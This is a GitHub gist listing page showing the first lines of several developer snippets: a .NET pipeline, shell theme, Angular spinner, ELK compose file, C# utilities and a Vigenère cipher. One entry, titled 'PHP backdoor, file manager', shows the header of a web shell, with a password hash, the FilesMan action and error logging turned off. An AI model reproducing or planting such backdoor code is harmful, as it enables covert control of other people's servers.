Skip to content

Instantly share code, notes, and snippets.

@kek-Sec
kek-Sec / build-and-test-pipeline.yml
Created December 23, 2022 13:58
Azure DevOps - Build and test a .NET 6 project
# .NET 6 Pipeline
# Build and test a .NET 6 project
# Triggers the pipeline on pushes to the master branch
# https://learn.microsoft.com/en-us/azure/devops/pipelines/ecosystems/dotnet-core
trigger:
branches:
include:
- master
# specify the pool for the pipeline
@kek-Sec
kek-Sec / clean-detailed-custom.omp.json
Last active October 13, 2022 13:39
oh-my-posh-detailed-clean-custom
{
"$schema": "https://raw.githubusercontent.com/JanDeDobbeleer/oh-my-posh/main/themes/schema.json",
"blocks": [
{
"alignment": "left",
"newline": true,
"segments": [
{
"background": "#FEF5ED",
"foreground": "#011627",
@kek-Sec
kek-Sec / spinner.ts
Created September 6, 2022 10:35
Angular Tailwind Spinner Component
import { Component, Input } from '@angular/core';
@Component({
selector: 'play-components-simple-spinner',
template: `
<div role="status">
<svg
class="inline mr-2 w-{{ width }} h-{{
height
}} text-gray-200 animate-spin dark:text-{{ backColor }}-600 fill-{{
@kek-Sec
kek-Sec / docker-compose.yml
Created August 17, 2022 18:20
ELK Stack Docker + Traefik + Basic auth
version: "3.7"
services:
elk:
image: sebp/elk
ports:
- "5601:5601"
- "9200:9200"
- "5044:5044"
restart: always
container_name: elkstack
@kek-Sec
kek-Sec / TaskQueue.cs
Created August 2, 2022 07:22
Thread safe, FIFO Task queue
public class TaskQueue
{
private SemaphoreSlim semaphore;
public TaskQueue()
{
semaphore = new SemaphoreSlim(1);
}
public async Task<T> Enqueue<T>(Func<Task<T>> taskGenerator)
@kek-Sec
kek-Sec / efExtenstions.cs
Created July 27, 2022 11:44
Fetch all dbSets from a given EfCore context
using (var ctx = new TestContext())
{
var dbSetProperties = ctx.GetDbSetProperties();
List<object> dbSets = dbSetProperties.Select(x => x.GetValue(ctx, null)).ToList();
}
public static class Extensions
{
public static List<PropertyInfo> GetDbSetProperties(this DbContext context)
{
@kek-Sec
kek-Sec / filemanager.php
Created June 21, 2022 09:52
PHP backdoor , file manager
<?php
/*При активизации Suid модуля в целях бехопасности пароль обязателен.*/
$auth_pass = "a0c3b1e2e1786293ca9bfb710e49ad42";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@kek-Sec
kek-Sec / JsonResultTestingUtils.cs
Created June 9, 2022 10:38
Utilities for testing JsonResult in .net
public static class JsonResultTestingUtils
{
///<summary>
/// Helper function that parses a given JsonResult and validates that the content is of the expected type
/// </summary>
/// <typeparam name="T">The expected type of the content</typeparam>
/// <param name="result">The JsonResult to be parsed</param>
/// <returns>True if the content is of the expected type, false otherwise</returns>
public static bool ValidateJsonResult<T>(JsonResult result)
{
@kek-Sec
kek-Sec / net.sql
Created May 18, 2022 07:41
SQL table to c# class
declare @TableName sysname = 'TableName'
declare @Result varchar(max) = 'public class ' + @TableName + '
{'
select @Result = @Result + '
public ' + ColumnType + NullableSign + ' ' + ColumnName + ' { get; set; }
'
from
(
select
@kek-Sec
kek-Sec / vigenere.c
Created November 2, 2021 17:08
Vigenere cipher in c
#include <stdio.h>
#include <string.h>
#include <ctype.h>
#include <stdlib.h>
void encrypt();
void decrypt();